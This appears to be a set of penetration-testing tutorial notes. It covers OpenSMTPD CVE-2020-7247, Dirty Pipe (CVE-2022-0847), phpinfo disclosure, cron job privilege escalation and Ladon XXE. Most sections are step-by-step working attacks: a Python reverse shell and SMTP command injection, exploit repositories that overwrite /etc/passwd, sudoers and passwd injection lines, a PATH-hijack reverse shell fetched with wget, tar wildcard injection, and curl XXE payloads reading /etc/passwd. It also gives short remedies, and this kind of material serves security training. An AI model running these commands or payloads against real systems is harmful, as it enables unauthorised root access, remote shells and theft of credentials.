1. Knowing the service version, we can try to exploit this service, using an automated exploit (https://www.exploit-db.com/exploits/47984)

  • searchsploit smtpd
  • searchsploit -m linux/remote/47984.py

2. This exploit will allow us to execute remote code, first make sure it is executable, otherwise, assign execute permissions

  • ls -l 47984.py
  • (OPTIONAL) chmod 777 47984.py

3. Since, we are allowed to run commands we will first Ping test back to our machine. So first start a TCPdump listener waiting for ICMP traffic

  • sudo tcpdump -i tun0 icmp and src 192.168.161.71

4. Now, execute the exploit, and point the ping command to our local machine

  • python 47984.py 192.168.161.71 25 'ping -c 4 192.168.49.161'

5. Check the capture, and, confirm it captured ICMP traffic

6. We should proceed with trying to access the server, I’ll try a reverse shell to port 80, because, after testing this server didn’t allow any other port

  • nc -lvp 80

7. Run the exploit with the reverse shell query, I’ll use python

  • python 47984.py 192.168.161.71 25 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.49.161\",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")"'

7. Now, check the listener, we should have a new session

  • whoami

Exploitation Manual

1. In order to exploit manually, we need to connect to the STMP service using telnet

  • telnet 192.168.161.71 25

2. Since we will do a ping test we will start a capture on our local machine

  • sudo tcpdump -i tun0 icmp and src 192.168.161.71

3. In the SMTP session run the following commands (note the return code should be 250)

  • HELO x
  • MAIL FROM:<;ping -c 4 192.168.49.161;>
  • RCPT TO:<root>
  • DATA
  • <enter>
  • vry4n
  • .
  • QUIT

4. Look at the capture, we should now see some output

5. Instead of the ping command, you can run any other commands like a reverse shell, or create new users, as this is run as root

Remedy

Upgrade to the latest version of OpenSMTPD (6.6.2 or later)

Resources

https://exchange.xforce.ibmcloud.com/vulnerabilities/175213

https://seclists.org/bugtraq/2020/Jan/40

https://packetstormsecurity.com/files/156137

https://nvd.nist.gov/vuln/detail/CVE-2020-7247

Dirty Pipe – Linux Kernel privilege escalation (CVE-2022-0847)

Linux 'Dirty Pipe' Vulnerability Allows Root Access - Lansweeper

DirtyPipe is a local privilege escalation vulnerability in the Linux kernel that allows a local attacker to bypass any file permission, and write arbitrary data to any file under certain conditions.

  • File must be readable by the attacker
  • The overwritten offset must not be on a page boundary (page size is usually 4096)
  • The write cannot cross a page boundary
  • File cannot be resized
  • File must be backed by the page cache (ex. a regular file)

Linux Kernel could allow a local authenticated attacker to gain elevated privileges on the system, caused by improper initialization in the copy_page_to_iter_pipe and push_pipe functions. By writing to pages in the page cache backed by read only files, an authenticated attacker could exploit this vulnerability to gain elevated privileges.

There are plenty of ways for attackers to gain the root privileges using this vulnerability, such as

  • unauthorized creation of new cron jobs
  • SUID binary hijacking
  • /etc/passwd modification
  • and so on.

For more technical and detailed information visit: https://dirtypipe.cm4all.com/

Affected Products

  • It affects the Linux kernels from 5.8 through any version before 5.16.11, 5.15.25 and 5.10.102
  • Linux Kernel 5.10
  • Linux Kernel 5.15
  • Linux Kernel 5.16

What are Pipe, Page, and splice() in Linux?

Pipe: A pipe is a unidirectional and inter-process communication method in Linux. It allows a process to take input from the previous one using a pipe buffer. For communication between processes, shared memory pages are used, in which one process reads and another writes. Typically, a pipe spans multiple pages of memory.

  • cat test.txt | grep Earth

Page: A page is a 4096-byte (4Kb) block of data. The Linux kernel breaks up the data into pages and operates on pages instead of dealing with the entire file at once. In the pipe mechanism, there is a flag called PIPE_BUF_FLAG_CAN_MERGE that indicates whether merging more data into the pipe buffer is allowed or not. When data is copied to a pipe buffer, more data can be added to the pipe buffer if the copied page is less than 4096 bytes in size.

Pages are used when reading and writing files from the disk, although they have many other uses. The part of the kernel that manages pages is referred to as the “page cache”.

Cached pages: These are recently accessed memory pages that are stored in a faster buffer in order to speed up subsequent possible accesses.

Flags/pipe attributes: Pipe flags specify characteristics such as state and permissions. As an example of attributes: PIPE_BUF_FLAG_CAN_MERGE. The existing flags for the memory pages are defined in the include /linux/pipe_fs_i.h file.

  • cat /usr/src/linux-hwe-5.13-headers-5.13.0-40/include/linux/pipe_fs_i.h

Splice: splice() is a Linux system call that can move data from or to the pipe. This system call transfer data using the pass-by-reference method. Instead of copying a page every time, it gives a reference to the page that is to be transferred to pipe.

What is Dirty Pipe (CVE-2022-0847) Vulnerability?

Dirty Pipe is a local privilege escalation vulnerability affecting Linux kernel versions 5.8 or newer. The vulnerability is patched in Linux versions 5.16.11, 5.15.25, and 5.10.102. CVSS score of the vulnerability is 7.8(high). CVE-2022-0847 vulnerability is named Dirty Pipe because of its similarity to Dirty Cow (CVE-2016-5195) vulnerability.

Here is how Dirty Pipe vulnerability exploitation works:

  • Create a pipe
  • Copy arbitrary data into the pipe and set the PIPE_BUF_FLAG_CAN_MERGE flag to 1 for all instances.
  • Drain the pipe
  • Normally, the flag should be reset. However, the Dirty Pipe vulnerability causes the flag to stay as set to 1.
  • Transfer a read-only file to the pipe using splice() system call.
  • Modify the read-only file.
  • Since the splice() system call uses the pass-by-reference method, the attacker can overwrite the file due to the PIPE_BUF_FLAG_CAN_MERGE flag.

Using Dirty Pipe vulnerability, an attacker with unprivileged access to the victim system can elevate its privileges to the root level.

Technical summary of CVE-2022-0847

  • CVE-2022-0847 was discovered while using the splice() system call. Basically, this system call moves data between a file descriptor and a pipe, without requiring the data to cross the usermode/kernelmode address space boundary, which helps compute performance.
  • Normally, when sending a file, memory pages (usually sized at 4KB) are copied into a memory-managed space called the page cache. From there the data is being copied to the userspace and remains in the cache to avoid unnecessary hard disk I/O.
  • When a file is being read into a pipe (via the splice() syscall) and at the same time arbitrary data is written into the pipe, the erroneous state caused by the bug causes the data to end up in the same page cache that is used by the file, and as such the data written to the pipe ends up at the file, even if the file was opened with read-only mode (O_RDONLY).

Exploit steps taken

  • It starts by opening a file in read mode, which can later be written to even if the program does not have permissions.
  • Create a pipe with the pipe() system call. This function gives the same process access to descriptors that allow writing and reading.
  • Write any type of information to the pipe to fill it completely and that the memory pages are marked with the PIPE_BUF_FLAG_CAN_MERGE flag.
  • Once all the pages have been marked, it allows the kernel to free them by reading all the data from the pipe it had written.
  • From this point on, when the kernel allocates memory pages using the features introduced in 2016, it will not initialize its flags and they will be marked with the PIPE_BUF_FLAG_CAN_MERGE attribute.
  • Use the splice() function to load the file that was originally opened. The memory page assigned to this file will be the same as our empty pipe, thanks to the fact that it was marked with the flag.
  • Directly overwrites the data in the pipe.

https://lh4.googleusercontent.com/F2p9wZwH6VaDhqMp9qjC0TvmWes1LfqW8BuTFtTUfJeCQCNVl5APz2xIjOFiY7h2pZts7YBWtQtBSP1o3sqq6mBG7yrU4cHbt_xada9yV6bk6sX6o5DoRu-QZetuLVcPatNWf6mT

Enumeration

1. To identify if the server’s kernel version, you can run ‘uname’ command

  • uname -a

2. We can also try to run this testing script

  • git clone https://github.com/basharkey/CVE-2022-0847-dirty-pipe-checker.git
  • cd CVE-2022-0847-dirty-pipe-checker
  • ls
  • chmod 777 dpipe.sh

3. After the script has been set as executable, we will run a check for the current version or a specific one

  • ./dpipe.sh
  • ./dpipe.sh 5.13.0

Exploitation

#1 Dirty Pipe SUID Binary Hijack Privilege Escalation

1. First, try to locate a binary that has SUID permissions assigned owned by root

  • find / -perm /4000 2> /dev/null
  • find / -perm -4000 2> /dev/null

2. Having already located one, proceed to download the exploit

  • git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
  • cd CVE-2022-0847-DirtyPipe-Exploits/
  • ls
  • ./compile.sh
  • ls

3. Now that the script has been downloaded and compiled, proceed to run it (Usage: ./exploit-2 SUID)

  • ./exploit-2 /usr/sbin/pppd
  • whoami

#2 Dirty Pipe SUID Binary Hijack Privilege Escalation

1. First, try to locate a binary that has SUID permissions assigned owned by root

  • find / -perm /4000 2> /dev/null
  • find / -perm -4000 2> /dev/null

2. Having already located one, in this case (/usr/bin/mount), proceed to download the exploit

  • git clone https://github.com/febinrev/dirtypipez-exploit.git
  • cd dirtypipez-exploit
  • ls
  • gcc dirtypipez.c -o dirtypipez
  • ls
  • ./dirtypipez

3. We need to assign the binary with SUID, we will use mount

  • ./dirtypipez /usr/bin/mount
  • whoami

#3 Dirty Pipe SUID Binary (Metasploit)

1. Having already a Meterpreter session, we can background the process, and search for exploits related to CVE-2022-0847

  • getuid
  • background
  • search cve:2022-0847

2. Select this module, and, check its options

  • use exploit/linux/local/cve_2022_0847_dirtypipe
  • show options

3. Now set the necessary options, and set the payload depending on your target.

  • sessions -i
  • set SESSION 1
  • set LHOST 192.168.0.13
  • set LPORT 5555

4. Execute the script to get a reverse meterpreter session with elevated privileges

  • run
  • getuid
  • shell
  • whoami

#1 Modifying/overwriting read only files

1. Download the script into the vulnerable machine, and compile it, (you can also compile it before delivering it)

  • git clone https://github.com/bbaranoff/CVE-2022-0847.git
  • ls
  • gcc CVE-2022-0847.c -o CVE-2022-0847
  • ls

2. This script will modify READ only files, such as /etc/passwd, make sure to have a backup of it before running it into any testing/production environment. The script will modify the first line of this script and change from root to rootz (without password)

  • cat /etc/passwd | head -n 1
  • su rootz
  • ./cve-2022-0847 /etc/passwd 1 ootz:
  • cat /etc/passwd | head -n 1
  • su rootz

#2 Modifying/overwriting read only files

1. Download the script into the vulnerable machine, and compile it

  • git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
  • cd CVE-2022-0847-DirtyPipe-Exploits
  • ls -l
  • ./compile.sh
  • ls

2. Check the /etc/passwd before running the script

  • head /etc/passwd

3. Now run exploit-1, In my case it shows as failing but it works

  • ./exploit-1
  • su root
  • <password>: piped
  • whoami

4. Check /etc/passwd after the script executed

  • head /etc/passwd

Remedy

Upgrade to the latest version of Linux Kernel (5.10.102, 5.15.25, 5.16.11 or later), available from the Linux Kernel Web site.

  • identify vulnerable systems on their networks
  • Since Linux is also used in many mobile devices, the relevant patches should be applied.
  • Apply all relevant security updates once they are available. To patch CVE-2022-0847, update your Linux systems to versions 5.16.11, 5.15.25 and 5.10.102 or newer.
  • Use a security solution that provides patch management and endpoint protection
  • Use the latest Threat Intelligence information to stay aware of actual TTPs used by threat actors.

If upgrading or patching the kernel is not possible, you can deploy a seccomp profile that disallows the splice syscall. While this may cause issues in some software packages, blocking the syscall usually does not have an effect on legitimate applications, since use of this syscall is relatively rare.

Specifically, to protect Docker containers, it is possible to modify Docker’s default seccomp profile and remove splice from the list of allowed syscalls

References

https://exchange.xforce.ibmcloud.com/vulnerabilities/221112

https://nvd.nist.gov/vuln/detail/CVE-2022-0847

https://www.tarlogic.com/es/blog/vulnerabilidad-dirty-pipe-cve-2022-0847/

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847

https://securelist.com/cve-2022-0847-aka-dirty-pipe-vulnerability-in-linux-kernel/106088/

https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits

https://www.picussecurity.com/resource/linux-dirty-pipe-cve-2022-0847-vulnerability-exploitation-explained

https://www.rapid7.com/blog/post/2022/03/09/cve-2022-0847-arbitrary-file-overwrite-vulnerability-in-linux-kernel/

https://jfrog.com/blog/dirtypipe-cve-2022-0847-the-new-dirtycow/

https://sysdig.com/blog/cve-2022-0847-dirty-pipe-sysdig/

https://systemweakness.com/dirty-pipe-cve-2022-0847-tryhackme-7a652910596b

https://packetstormsecurity.com/files/166229/Dirty-Pipe-Linux-Privilege-Escalation.html

https://packetstormsecurity.com/files/166230/Dirty-Pipe-SUID-Binary-Hijack-Privilege-Escalation.html

https://packetstormsecurity.com/files/166258/Dirty-Pipe-Local-Privilege-Escalation.html

https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/linux/local/cve_2022_0847_dirtypipe

https://www.securitydrops.com/dirty-pipe/

PHPinfo: Information Disclosure

phpinfo() is a debug functionality that prints out detailed information on both the system and the PHP configuration.

The official PHP documentation makes a recommendation to create a file that calls the phpinfo() function in order to test that the PHP installation was successful; it is a common mistake to forget to remove this file. The information leaked by the phpinfo() function includes physical paths, environment variables, and the full PHP configuration settings.

The phpinfo() is also a debugging tool as it consists of all the information a developer wants to know about a server. If anyone uploads the phpinfo() function to their webroot/index.php file, they can see their server’s configuration settings.

An attacker can obtain information such as:

  • Exact PHP version.
  • Exact OS and its version.
  • Details of the PHP configuration.
  • PHP compilation options
  • PHP extensions
  • Internal IP addresses.
  • Server environment variables.
  • Loaded PHP extensions and their configurations.
  • HTTP headers

This information can help an attacker to gain more information on the system. After gaining detailed information, the attacker can research known vulnerabilities for that system under review. The attacker can also use this information during the exploitation of other vulnerabilities.

Some methods also related to phpinfo

  • phpinfo() Memory Limit
  • phpinfo() Upload Max Filesize
  • phpinfo() PHP Magic Quotes Gpc is On
  • phpinfo() Open Base Directory Is Disabled
  • PHP post_max_size show phpinfo()

Enumeration

Nmap

Using Nmap NSE script (http-enum), we can discover if in root directory there is the presence of execution of phpinfo()

  • nmap -sV --script http-enum -p 30455 192.168.226.147

Nikto

1. Using Nikto we can also verify the existence of phpinfo()

  • nikto -h 192.168.226.147:30455

Contents of PHPInfo

In this case by accessing the exposed phpinfo(), http://192.168.226.147:30455/phpinfo.php, we can gather the following:

1. System info

2. PHP Version

3. Some commands and system directories

4. PHP configuration directories

5. PHP features status

6. Curl information

7. Local server time

8. Json support

9. MySQL

10. OpenSSL

11. XML

12. Environment

13. HTTP details

14. Server Hostname

15. Networking

16. PHP script file location

Remedy

These are recommendations:

  • Disable phpinfo() function on the application’s PHP configuration.
  • Remove all the pages that call phpinfo() function.

Resources

https://www.rapid7.com/db/vulnerabilities/http-php-phpinfo-leak/

https://beaglesecurity.com/blog/vulnerability/revealing-phpinfo.html

https://www.php.net/manual/en/function.phpinfo.php

https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/information-disclosure-phpinfo/

 

Exploiting the Cron Jobs Misconfigurations (Privilege Escalation)

Cron is a job scheduler in Unix-based operating systems. Cron Jobs are used for scheduling tasks by executing commands at specific dates and times on the server.

They’re most commonly used for sysadmin jobs such as backups or cleaning /tmp/ directories and so on. The word Cron comes from crontab and it is present inside /etc directory.

By default, Cron runs as root when executing /etc/crontab, so any commands or scripts that are called by the crontab will also run as root.

How to set up a cron job in Linux? - Nil Tutorials

For example: Inside crontab, we can add the following entry to print apache error logs automatically in every 1 hour.

  • 1 0 * * * printf "" > /var/log/apache/error_log

This automated repeated task is known as cronjob and a table or file that maintain this cronjob is known as crontab. Linux maintains separate crontab for each and every user.

How Does Cron Work?

The behavior of the Cron utility can be fully customized. You can configure the behavior of Cron by editing files called “crontabs”. Unix keeps different copies of crontabs for each user. You can edit your own user’s crontab by running:

  • crontab -e

You can also list the current cronjobs for your user by running:

  • crontab -l

In Linux systems, the location for the system-wide crontab is /etc/crontab. Cron will run as the root user when executing scripts and commands in this file.

Files in /etc/cron.d are treated the same way as /etc/crontab. They are effectively “crontab snippets”. Their benefit is that they can be added or removed without modifying the central /etc/crontab file.

Each line starting with * or some number is considered as a cron job or task. It is the magic line that cron service will execute.

When to perform cronjob?

First five numeric value represents the time of execution of the cronjob. Now let’s understand the five numeric value.

  • Minute – First value represents minute ranges between 0 to 59 and * means any minute.
  • Hour – Second value represent Hour ranges between 0 to 24 and * means any hour.
  • Day of month – Third value represents day of month ranges between 1 to 31 and * means any day.
  • Month – Fourth value represents month ranges between 1 to 12 and * means any month.
  • Day of week – Fifth value represents the day of week ranges between 0 to 6 starting from Sunday and * means any day of week.

By whom privileges does the task perform?

The value Just after the numeric value represents the user whose privileges will be used to accomplish the task.

Which command to be execute?

After defining the user we need to provide the command to be executed at that time.

I hope we found our answer and now we will learn to escalate privileges through cronjob. For better understanding i am dividing further blog into two parts Enumeration and Exploitation.

Crontab syntax

All crontabs follow the same syntax. Each line specifies a command to be run and the time at which it should run.

Example

this crontab entry tells the system to “cd” into the directory where I store security scripts and run the “scan.sh” shell script every day at 9:30 pm. (The wildcard character “*” means “all”.)

  • 30 21 * * * cd /home/vry4n/scripts/security; ./scan.sh

And in system-wide crontabs, you can also specify the user to run the command as:

  • * * * * <username> <command to be executed>

Running scripts in batches

It is customary to place scripts that the system-wide crontab uses in the

  • /etc/cron.d
  • /etc/cron.hourly
  • /etc/cron.daily
  • /etc/cron.weekly
  • /etc/cron.monthly directories.

You can then batch run the scripts within the directories. For example, the following line in the crontab tells Cron to run all scripts in the /etc/cron.hourly directory as root every hour.

  • 01 * * * * root run-parts /etc/cron.hourly

Cronjob Enumeration

The cronjob enumeration includes, finding and understanding the task that cronjob was assinged. There are following types of cronjob that we have to find.

User based Cronjob

In Linux each and every user can perform cronjobs. Each and every user maintains a crontab for their cronjobs. The location of the crontab of each user is in the following directory.

  • /var/spool/cron/crontabs/'crontab_of_the_each_user_named_as_their_username'

Note: The above directory is only accessible through root user. Normal user can check their cronjobs using command.

  • crontab -l

Application based Cronjob

Certain application in Linux uses cronjob to perform their task. All the cronjobs that are created by any application is placed in the following directory.

  • /etc/cron.d

Anacron

Anacron is defined as the cron with ability to performed the task that are skipped due to some reasons.This type of cronjob are placed in the following directory.

  • /etc/anacrontab

Pro tip : If you want to know about the cronjobs of the other user then you can use the tool pspy(pspy32 for 32 bit and pspy64 for 64bit). (https://github.com/DominicBreuker/pspy)

1. We can read the contents of /etc/crontab to see the actual scheduled tasks

Example 1 (this is what an empty file shows as)

  • cat /etc/crontab

Example 2 (this is what a crontab with an existing entry looks like

  • cat /etc/crontab

2. Using LinEnum or LinPEAS Script we can also gather info about cron jobs. This what what normal output should show

3. Make sure the service is running

  • service cron status

Exploitation

1. Editing Script File

When a script executed by Cron is editable by unprivileged users, those unprivileged users can escalate their privilege by editing this script, and waiting for it to be executed by Cron under root privileges.

1. In this example we will use script.sh that will delete every file/directory within /tmp directory

  • vi script.sh
  • cat script.sh

2. Crontab has been set to run every minute as root

  • cat /etc/crontab

3. Using pspy we can see this task running every minute

4. Looking at the script.sh file permissions we can see that we have READ/WRITE permissions

  • cd /
  • ls -l

5. I’ll modify the script, to add elevated privileges to my current user

  • echo "vry4n ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

6. Having the ability to run all commands (ALL=ALL) without password (NOPASSWD:ALL) allow us to run a new bash process as root, using sudo command

  • sudo bash

Note. Make sure you append the correct line to the /etc/sudoers file. Otherwise the file could crash

Extra

they can gain root access by adding a new root user to the /etc/passwd file. In this command below, “0” is the UID of the root user, so adding a user with the UID of “0” will give that user root privileges. This user will have the username of “vk9sec” and an empty password:

  • echo "vk9sec:x:0:0:root:/root:/bin/bash" >> /etc/passwd

2. Missing Absolute Paths

In this scenario, our script can’t be modified, but the crontab file indicates the command doesn’t contain absolute paths.

The Linux environmental path variable allows users to run commands or scripts without having to run their full path. For example, because the “whoami” binary is /usr/bin, which is part of the environmental path variable, users can simply run “whoami” rather than /usr/bin/whoami.

Although this was born as a convenient way to execute commands and scripts, it can become a vulnerability if said commands are run by privileged users.

If a cron job or a script used in a cron job calls a binary or a script without using its absolute path, an unprivileged user could create an arbitrary binary or script with the same exact name, and place it into a directory that is part of the environmental path.

  • cat /etc/crontab

This indicates that the system will go through each path from left to right (PATH=/dev/shm:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin). Starting with /dev/shm

1. To elevate privileges we will check upon the permissions on each of these folders, I’ll start with /dev/shm

  • ls -ld /dev/shm

2. I see, we have full privileges, first I’ll try to create a file in there

  • cd /dev/shm
  • echo "Vry4n was here!." > test.txt
  • ls

3. Having the capability to create files allow us the ability to write our own script and name it as the program the crontab is running netstat. For this demo I will create a bash reverse shell.

  • vi netstat
  • cat netstat

4. I will set up a web server to transfer this file into the machine (you could write it manually in the server)

  • python3.8 -m http.server 8080

5. In the server use wget command to download this into the desired location with Write permissions, in this case /dev/shm

  • cd /dev/shm
  • ls -l
  • wget http://192.168.49.155:8080/netstat
  • ls -l

6. Start a listener, as per the script I chose to connect to port 4242

  • nc -lvp 4242

7. Now make this file executable in the remote server

  • chmod 777 netstat

8. Wait for the task to execute. After execution, the listener should have a new connection from root

  • whoami

3. Exploiting Wildcards in Commands

Commands can use wildcards as arguments to perform actions on more than one file at a time, also called globbing. When the command is assigned to a cronjob, contains a wildcard operator then attacker can go for wildcard injection to escalate privilege.

Tar has an argument called --checkpoint, which allows to display a “progress” message every time X number of files have been archived. This can be used in concatenation with the --checkpoint-action flag, which allows to execute an action, in form of a binary or script, whenever a checkpoint is reached.

Since the wildcard will execute a given command against all files and folders in the current directory, this can be exploited by adding a --checkpoint=1 file (to enable the checkpoint function) and a --checkpoint-action=exec=/tmp/stef.sh file (to specify the action to perform) which will be effectively treated as arguments when tar comes across them.

1. For this example I will create a schedule task that runs every minute. The task is used to take all logs in /var/log/test_logs directory and compress them into gzip and tar in a file named logbackup,tgz. The resulting file will be saved in /tmp

  • cat /etc/crontab

2. After a minute checking within /tmp, I found the logbackup.tgz file

  • ls -l /tmp

3. Now lets get back to /var/log/test_logs directory and we will create some files to confuse the program, these files start their name with “--” which confuses programs with additional command parameters

  • echo 'echo " vry4n ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > test.sh
  • echo "" > "--checkpoint-action=exec=sh test.sh"
  • echo "" > --checkpoint=1
  • ls
  • tar cf archive.tar * # This one is only used to test

4. Once, the automated task is executed, then, check on the result

  • sudo cat /etc/sudoers

5. Having entered the line in /etc/sudoers, we can now test our new privileges

  • sudo su -
  • whoami

Remedy

If your system uses Cron to automate tasks, make sure that none of the scripts that you run through crontab are editable by unprivileged users, and make sure that your Cron scripts are secure!

NEVER EXECUTE COMMANDS WITH sudo or root user and avoid using SUID binaries in the job.

Resources

https://www.hackingarticles.in/linux-privilege-escalation-by-exploiting-cron-jobs/

https://medium.com/swlh/privilege-escalation-via-cron-812a9da9cf1a

https://www.armourinfosec.com/linux-privilege-escalation-by-exploiting-cronjobs/

https://steflan-security.com/linux-privilege-escalation-scheduled-tasks/

 

(XXE) Ladon Framework for Python – XML External Entity Expansion – CVE-2019-1010268

Ladon is a framework for exposing python methods to several internet service protocols. Ladon allows developers to expose functions of a class via different webservice protocols by using the @ladonize decorator in Python. By using the WSGI interface of a webserver or by running the Ladon command

line tool "ladon-2.7-ctl" with the command "testserve" and the name of the Python file, the webservices can be accessed via HTTP.

Sample code

from ladon.ladonizer import ladonize

class HelloService(object):

@ladonize(unicode, rtype=unicode)

def sayhello(self, uid):

return u"Hello {0}".format(uid)

This function can then be run as a ladon webservice via the following command:

  • ladon-2.7-ctl testserve helloservice.py -p 8000

Note: This enables access to the "sayhello"-function via SOAP- and JSON-APIs.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. The vulnerability exploits the XML External Entity (XXE) processing in the SOAP request handlers. For instance, an attacker could send a specially crafted SOAP call to craft request handlers, resulting in the attacker being able to read files and pivot to other internal endpoints.

Attackers who can send SOAP messages to a Ladon webservice via the HTTP interface of the Ladon webservice can exploit an XML external entity expansion vulnerability to do the following:

  • read local files
  • forge server side requests
  • overload the service with exponentially growing memory payloads.

What is XXE?

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed,

  • The parser can make a request and include the content at the specified URI inside of the XML document.
  • Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data

Payload example:

<?xml version="1.0"?>

<!DOCTYPE uid

[<!ENTITY passwd SYSTEM "file:///etc/passwd">

]>

<soapenv:Envelope>

<soapenv:Body>

<urn:checkout>

<uid>&passwd;</uid>

</urn:checkout>

</soapenv:Body>

</soapenv:Envelope>

Vulnerable software versions

Ladon: 0.6.1 - 1.0.4

Versions 0.9.40 and below are affected

Enumeration

1. identify the application is using Ladon service.

2. Then I accessed the muddy service. In there I noticed the “checkout” function was enabled.

3. Looking for exploits I found this interesting one from Exploitdb (https://www.exploit-db.com/exploits/43113)

  • searchsploit ladon

4. Looking at the exploit I found this interesting payload

2. We need to modify the fields to match our environment, if we get to print our string then this application is vulnerable to XXE.

curl -s -X $'POST' \

-H $'Content-Type: text/xml;charset=UTF-8' \

-H $'SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \

--data-binary $'<?xml version="1.0"?>

<!DOCTYPE uid

[<!ENTITY passwd "Vry4n">

]>

<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"

xmlns:urn=\"urn:HelloService\"><soapenv:Header/>

<soapenv:Body>

<urn:checkout>

<uid xsi:type=\"xsd:string\">&passwd;</uid>

</urn:checkout>

</soapenv:Body>

</soapenv:Envelope>' \

'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -

Exploitation

1. By including a DTD in the XML SOAP request, attackers are able to include external entities in the response of the server. In the case of the simple service the inclusion of the following DTD will result in the exposure of the "/etc/passwd"-file on the server using file://

curl -s -X $'POST' \

-H $'Content-Type: text/xml;charset=UTF-8' \

-H $'SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \

--data-binary $'<?xml version="1.0"?>

<!DOCTYPE uid

[<!ENTITY passwd SYSTEM "file:///etc/passwd">

]>

<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"

xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"

xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"

xmlns:urn=\"urn:HelloService\"><soapenv:Header/>

<soapenv:Body>

<urn:checkout soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">

<uid xsi:type=\"xsd:string\">&passwd;</uid>

</urn:checkout>

</soapenv:Body>

</soapenv:Envelope>' \

'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -

2. The result of the curl command should be the passwd file in linux

3. In this particular scenario, we noticed a /webdav folder, so we will try to read users file, looking for user/password info

  • We need to search within /var/www/html/webdav/passwd.dav

Remedy

No remedy available as of November 3, 2017.

Alternative remedy

The Python package defusedxml [2] can be used to monkey patch the code to

prevent XML vulnerabilities. The following workaround can be included in the

code, which prevents exploitation:

import defusedxml

defusedxml.defuse_stdlib()

References

https://security.snyk.io/vuln/SNYK-PYTHON-LADON-451661

https://packetstormsecurity.com/files/144872

https://seclists.org/fulldisclosure/2017/Nov/15

https://bitbucket.org/jakobsg/ladon/src/42944fc012a3a48214791c120ee5619434505067/src/ladon/interfaces/soap.py#lines-688

https://ladon.readthedocs.io/en/latest/

 

XML external entity (XXE) injection

XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to:

  • view files on the application server filesystem
  • interact with any back-end or external systems that the application itself can access.
  • access internal networks
  • scan internal ports
  • execute commands on a remote server (rarely)
  • perform SSRF attacks
  • exfiltrate data out-of-band
  • retrieve data via error messages

Lista de payloads para inyecciones XXE (XML External Entity)

XXE Injection is not limited to Web Applications; anywhere there is an XML Parser (web, host, software), the potential for XXE exists.

How do XXE vulnerabilities arise?

Some applications use the XML format to transmit data between the browser and the server. Applications that do this virtually always use a standard library or platform API to process the XML data on the server.

  • XXE vulnerabilities arise because the XML specification contains various potentially dangerous features, and standard parsers support these features even if they are not normally used by the application.

Risk Factors

  • The application parses XML documents.
  • Tainted data is allowed within the system identifier portion of the entity, within the document type declaration (DTD).
  • The XML processor is configured to validate and process the DTD.
  • The XML processor is configured to resolve external entities within the DTD

An application will be vulnerable to XXE attacks, if:

  • a developer configured an XML parser in such a way that it insecurely processes external entities
  • an attacker can directly/indirectly pass compromised data to the parser

What is XML?

XML stands for "extensible markup language". XML is a language designed for storing and transporting data. Like HTML, XML uses a tree-like structure of tags and data.

  • Unlike HTML, XML does not use predefined tags, and so tags can be given names that describe the data. Earlier in the web's history
  • XML was in vogue as a data transport format (the "X" in "AJAX" stands for "XML"). But its popularity has now declined in favor of the JSON format.
  • XML is a markup language similar to HTML
  • XML was designed to store and transport data
  • XML was designed to be self-descriptive
  • XML is a W3C Recommendation

XML (Extensible Markup Language) is a very popular data format. It is used in:

  • web services (XML-RPC, SOAP, REST)
  • documents (XML, HTML, DOCX)
  • image files (SVG, EXIF data).

To interpret XML data, an application needs an XML parser (also known as the XML processor).

The following is an example output of a simple web application that accepts XML input, parses it, and outputs the result.

What are XML entities?

XML entities are a way of representing an item of data within an XML document, instead of using the data itself. Various entities are built in to the specification of the XML language.

  • The entities &lt; and &gt; represent the characters < and >. These are metacharacters used to denote XML tags, and so must generally be represented using their entities when they appear within data.

ENTITYs can be used without the formality of a full .dtd file. By calling DOCTYPE and using square brackets [], you can reference ENTITY tags for use in only that XML file.

Note: Think of it as a variable in programming.

What are XML elements?

Element type declarations set the rules for the type and number of elements that may appear in an XML document, what elements may appear inside each other, and what order they must appear in. For example:

  • <!ELEMENT stockCheck ANY> Means that any object could be inside the parent <stockCheck></stockCheck>
  • <!ELEMENT stockCheck EMPTY> Means that it should be empty <stockCheck></stockCheck>
  • <!ELEMENT stockCheck (productId,storeId)> Declares that <stockCheck> can have the children <productId> and <storeId>

What is document type definition?

The XML document type definition (DTD) contains declarations that can define the structure of an XML document, the types of data values it can contain, and other items. The DTD is declared within the optional DOCTYPE element at the start of the XML document. The DTD can be

  • fully self-contained within the document itself (known as an "internal DTD")
  • can be loaded from elsewhere (known as an "external DTD")
  • can be hybrid of the two.

XML files may contain the document type definition (DTD), which describes the structure of an XML file. DTD allows us to define and use XML entities.

DTD files are a special type of XML file that contain information about the format or structure of XML. These DTD files can contain an element called an ENTITY.

  • DTD files can be external or internal to an XML file
  • ENTITYs exist within DTD files
  • ENTITYs can call local system files

What are XML custom entities?

XML allows custom entities to be defined within the DTD.

  • <!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

Note: This definition means that any usage of the entity reference &myEntity; within the XML document will be replaced with the defined value: "lol".

